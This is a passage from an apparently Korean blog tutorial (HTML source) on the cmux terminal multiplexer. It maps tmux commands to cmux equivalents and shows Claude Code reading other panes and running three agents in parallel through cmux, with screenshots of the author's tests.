&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;cmux send --surface surface:1 &quot;cmd\n&quot;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;tmux capture-pane -t %1 -p&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;cmux capture-pane --surface surface:1&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;tmux kill-session -t name&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;cmux close-workspace --workspace workspace:1&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;tmux list-panes&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;cmux list-panes&lt;/code&gt; / &lt;code&gt;cmux tree&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;tmux wait-for channel&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;cmux wait-for channel --timeout 30&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;tmux resize-pane -D 10&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;cmux resize-pane --pane pane:1 -D --amount 10&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;tmux pipe-pane &quot;cat &amp;gt; log&quot;&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;cmux pipe-pane --command &quot;cat &amp;gt; log&quot;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f0f8ff;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;i&gt;(없음)&lt;/i&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;cmux browser open URL&lt;/code&gt; (내장 브라우저)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f0f8ff;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;i&gt;(없음)&lt;/i&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;cmux identify&lt;/code&gt; (현재 컨텍스트 확인)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f0f8ff;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;i&gt;(없음)&lt;/i&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;cmux notify / log / set-progress&lt;/code&gt; (알림)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Best Practice: tmux + cmux 조합 사용&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;두 도구는 대체재가 아니라 &lt;b&gt;보완재&lt;/b&gt;다. (현재 까지는 그렇게 보인다. )&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;원격 서버:&lt;/b&gt; tmux로 세션을 유지하고 프로세스를 관리한다. SSH 연결이 끊겨도 작업이 살아있다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;로컬 개발:&lt;/b&gt; cmux에서 AI 에이전트를 오케스트레이션한다. 브라우저, 알림, 크로스 세션 API를 활용한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;연결:&lt;/b&gt; cmux의 Surface 안에서 &lt;code&gt;ssh server &amp;amp;&amp;amp; tmux attach&lt;/code&gt;로 원격 tmux 세션에 접속하면, 양쪽의 장점을 모두 활용할 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ========== 섹션 9: 실전 Claude Code + cmux 연동 ========== --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 실전: Claude Code + cmux 연동&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;cmux 안에서 Claude Code를 실행하고, Claude가 cmux CLI를 통해 다른 터미널의 상태를 직접 확인하는 것을 체험한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;환경 준비&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;vala&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 왼쪽 패인: Claude Code 실행
claude

# 오른쪽 패인: 간단한 서버 또는 프로세스 실행
python3 -m http.server 8000&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2866&quot; data-origin-height=&quot;814&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rmLrl/dJMcafFXqa9/HaPPk82ispsdIg3jcoj7A1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rmLrl/dJMcafFXqa9/HaPPk82ispsdIg3jcoj7A1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rmLrl/dJMcafFXqa9/HaPPk82ispsdIg3jcoj7A1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrmLrl%2FdJMcafFXqa9%2FHaPPk82ispsdIg3jcoj7A1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2866&quot; height=&quot;814&quot; data-origin-width=&quot;2866&quot; data-origin-height=&quot;814&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Claude에게 cmux 사용 요청&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Claude Code에게 다른 패인의 상태를 확인해달라고 요청한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Claude에게 보낸 프롬프트 예시&lt;/b&gt;&lt;br /&gt;&quot;오른쪽 패인(surface:4)에서 서버가 돌아가고 있어. cmux read-screen으로 서버 로그를 읽어서 상태를 알려줘.&quot;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;많은 사용기에서 AI 에이전트가 초기에 cmux를 tmux로 오인하는 경우가 있다고 보고된다. 이를 방지하려면 프로젝트 루트의 &lt;code&gt;CLAUDE.md&lt;/code&gt;에 &lt;code&gt;&quot;이 환경은 cmux입니다. tmux가 아닌 cmux CLI를 사용하세요.&quot;&lt;/code&gt;를 추가해두는 것이 좋다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1262&quot; data-origin-height=&quot;1706&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/7B63C/dJMcagrjy45/4oHyNjqeHRNrtgkZvOab10/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/7B63C/dJMcagrjy45/4oHyNjqeHRNrtgkZvOab10/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/7B63C/dJMcagrjy45/4oHyNjqeHRNrtgkZvOab10/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F7B63C%2FdJMcagrjy45%2F4oHyNjqeHRNrtgkZvOab10%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1262&quot; height=&quot;1706&quot; data-origin-width=&quot;1262&quot; data-origin-height=&quot;1706&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;최종 원하는 내용 출력 완료&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1258&quot; data-origin-height=&quot;428&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cvJ5Ec/dJMcacWJ4aY/s98AwuclHyyknUlYvd2lj0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cvJ5Ec/dJMcacWJ4aY/s98AwuclHyyknUlYvd2lj0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cvJ5Ec/dJMcacWJ4aY/s98AwuclHyyknUlYvd2lj0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcvJ5Ec%2FdJMcacWJ4aY%2Fs98AwuclHyyknUlYvd2lj0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1258&quot; height=&quot;428&quot; data-origin-width=&quot;1258&quot; data-origin-height=&quot;428&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;이 전체 과정에서 탭을 전환하지 않았다&lt;/b&gt;&lt;br /&gt;Claude Code가 cmux CLI를 통해 다른 터미널의 출력을 &lt;b&gt;직접 읽고&lt;/b&gt;, 분석하고, 필요하면 명령을 &lt;b&gt;직접 보내는&lt;/b&gt; 것까지 가능하다.&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ex) 이외 내가 테스트 했던 내역들 참고&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 좌측 페인 : 클로드 코드 / 우측 페인 : 클로드 코드가 조작하는 영역&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;3060&quot; data-origin-height=&quot;958&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kXRvK/dJMcacoVVaY/A2BlyUtXKX0q3GOzLBst50/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kXRvK/dJMcacoVVaY/A2BlyUtXKX0q3GOzLBst50/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kXRvK/dJMcacoVVaY/A2BlyUtXKX0q3GOzLBst50/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkXRvK%2FdJMcacoVVaY%2FA2BlyUtXKX0q3GOzLBst50%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;3060&quot; height=&quot;958&quot; data-origin-width=&quot;3060&quot; data-origin-height=&quot;958&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; - 좌측 페인 : 클로드 코드 / 우측 페인 : 브라우저 / 좌측 하단 페인 :&amp;nbsp; 신규 터미널(미캡쳐)&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;3032&quot; data-origin-height=&quot;512&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cPyJn9/dJMcadg4sbA/ZF4puecx20MZvrOmp9zDb1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cPyJn9/dJMcadg4sbA/ZF4puecx20MZvrOmp9zDb1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cPyJn9/dJMcadg4sbA/ZF4puecx20MZvrOmp9zDb1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcPyJn9%2FdJMcadg4sbA%2FZF4puecx20MZvrOmp9zDb1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;3032&quot; height=&quot;512&quot; data-origin-width=&quot;3032&quot; data-origin-height=&quot;512&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ========== 섹션 10: 실습 멀티에이전트 ========== --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;10. 실습 : 멀티에이전트 병렬 실행&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;cmux를 활용하면 여러 AI 에이전트를 병렬로 실행하고, 각각의 상태를 모니터링할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시나리오: 3개 에이전트 병렬 리서치&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;#!/bin/bash&lt;/div&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;# Step 1: 에이전트별 워크스페이스 생성&lt;/div&gt;
&lt;pre class=&quot;smali&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;cmux new-workspace --command &quot;claude 'React 19 새 기능을 조사해줘'&quot;
cmux rename-workspace &quot;agent-react&quot;

cmux new-workspace --command &quot;claude 'Next.js 15 마이그레이션 가이드를 작성해줘'&quot;
cmux rename-workspace &quot;agent-nextjs&quot;

cmux new-workspace --command &quot;claude 'TypeScript 5.5 변경사항을 정리해줘'&quot;
cmux rename-workspace &quot;agent-typescript&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;# Step 2: 진행 상황 모니터링&lt;/div&gt;
&lt;pre class=&quot;angelscript&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;cmux read-screen --workspace workspace:2 --lines 5
cmux read-screen --workspace workspace:3 --lines 5
cmux read-screen --workspace workspace:4 --lines 5&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;# Step 3: 특정 에이전트 출력에서 결과 찾기&lt;/div&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;cmux find-window --content &quot;완료&quot; --select&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;cmux claude-teams 명령&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;cmux v0.62.2에는 &lt;code&gt;cmux claude-teams [claude-args...]&lt;/code&gt; 명령이 내장되어 있다. &lt;br /&gt;이는 &lt;code&gt;CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1&lt;/code&gt; 환경변수를 설정하고 tmux 호환 심(shim)을 PATH에 자동 주입하여 Agent Teams 모드를 활성화하는 통합 명령이다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- TODO: 캡처 필요 — cmux tree 출력으로 agent-react / agent-nextjs / agent-typescript 3개 워크스페이스 병렬 실행 중인 화면. cmux read-screen --workspace workspace:N 으로 각 에이전트 출력 확인하는 모습도 추가 권장. --&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ex) cmux&amp;nbsp;claude-teams&amp;nbsp;를&amp;nbsp;통해&amp;nbsp;&amp;nbsp;'FizzBuzz&amp;nbsp;함수를&amp;nbsp;Python,&amp;nbsp;JS,&amp;nbsp;Go&amp;nbsp;세&amp;nbsp;가지로&amp;nbsp;구현하고&amp;nbsp;각각&amp;nbsp;파일로&amp;nbsp;저장해줘'&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1776&quot; data-origin-height=&quot;968&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/81OSZ/dJMcabDAr2y/zIAPN2AzSeCfTlHyFEM0FK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/81OSZ/dJMcabDAr2y/zIAPN2AzSeCfTlHyFEM0FK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/81OSZ/dJMcabDAr2y/zIAPN2AzSeCfTlHyFEM0FK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F81OSZ%2FdJMcabDAr2y%2FzIAPN2AzSeCfTlHyFEM0FK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1776&quot; height=&quot;968&quot; data-origin-width=&quot;1776&quot; data-origin-height=&quot;968&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;698&quot; data-origin-height=&quot;696&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/85Jf1/dJMcaipa7Fn/RHAIMkhDejutPv3BK3aqp0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/85Jf1/dJMcaipa7Fn/RHAIMkhDejutPv3BK3aqp0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/85Jf1/dJMcaipa7Fn/RHAIMkhDejutPv3BK3aqp0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F85Jf1%2FdJMcaipa7Fn%2FRHAIMkhDejutPv3BK3aqp0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;305&quot; height=&quot;304&quot; data-origin-width=&quot;698&quot; data-origin-height=&quot;696&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; - 작업이 다 끝나고 메인 Agent에서 응답 결과 대기중 / 알아서 3개의 surface를 닫아 버렸다.&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1826&quot; data-origin-height=&quot;670&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cA3lYo/dJMcafFZfE2/tbau3nQgZOC0CmISQt9M90/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cA3lYo/dJMcafFZfE2/tbau3nQgZOC0CmISQt9M90/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cA3lYo/dJMcafFZfE2/tbau3nQgZOC0CmISQt9M90/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcA3lYo%2FdJMcafFZfE2%2Ftbau3nQgZOC0CmISQt9M90%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1826&quot; height=&quot;670&quot; data-origin-width=&quot;1826&quot; data-origin-height=&quot;670&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 다 끝났다는 시그널을 인지하지 못한거 같아서 확인&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1328&quot; data-origin-height=&quot;530&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dT9Bny/dJMcaiCGliI/Rlv2V8rkXrPQFxVKW8ZQJ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dT9Bny/dJMcaiCGliI/Rlv2V8rkXrPQFxVKW8ZQJ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dT9Bny/dJMcaiCGliI/Rlv2V8rkXrPQFxVKW8ZQJ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdT9Bny%2FdJMcaiCGliI%2FRlv2V8rkXrPQFxVKW8ZQJ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1328&quot; height=&quot;530&quot; data-origin-width=&quot;1328&quot; data-origin-height=&quot;530&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2650&quot; data-origin-height=&quot;430&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/btkVVK/dJMcaaEG1BN/3iLnoDWLSo8N2qWPGVn8j0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/btkVVK/dJMcaaEG1BN/3iLnoDWLSo8N2qWPGVn8j0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/btkVVK/dJMcaaEG1BN/3iLnoDWLSo8N2qWPGVn8j0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbtkVVK%2FdJMcaaEG1BN%2F3iLnoDWLSo8N2qWPGVn8j0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2650&quot; height=&quot;430&quot; data-origin-width=&quot;2650&quot; data-origin-height=&quot;430&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 아직 claude가 cmux의 사용법을 잘 알지 못하여 따로 기록 중 이다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1846&quot; data-origin-height=&quot;1306&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c6JlkT/dJMcadg5JY1/6gW7kug730cCZBoxUUWO21/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c6JlkT/dJMcadg5JY1/6gW7kug730cCZBoxUUWO21/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c6JlkT/dJMcadg5JY1/6gW7kug730cCZBoxUUWO21/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc6JlkT%2FdJMcadg5JY1%2F6gW7kug730cCZBoxUUWO21%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1846&quot; height=&quot;1306&quot; data-origin-width=&quot;1846&quot; data-origin-height=&quot;1306&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; - cmux claude-team 을 사용하여 아무튼 완료된 모습&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2058&quot; data-origin-height=&quot;1218&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bQwYhT/dJMcajuOHH7/DMPaWKQN11SaEOrK7KlnM1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bQwYhT/dJMcajuOHH7/DMPaWKQN11SaEOrK7KlnM1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bQwYhT/dJMcajuOHH7/DMPaWKQN11SaEOrK7KlnM1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbQwYhT%2FdJMcajuOHH7%2FDMPaWKQN11SaEOrK7KlnM1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; 